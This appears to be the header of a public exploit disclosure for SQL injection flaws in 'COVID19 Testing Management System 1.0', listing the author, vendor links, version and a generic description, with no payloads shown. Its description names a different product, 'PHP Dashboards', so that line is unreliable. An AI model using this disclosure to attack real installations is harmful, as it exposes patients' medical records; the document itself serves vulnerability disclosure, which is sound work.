COVID19 Testing Management System 1.0 - Multiple SQL Injections Vulnerabilities

# Exploit Title: COVID19 Testing Management System 1.0 - 'Multiple' SQL Injections
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: V1
# Category: Webapps
# Tested on: Linux/Windows

# Description:
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.
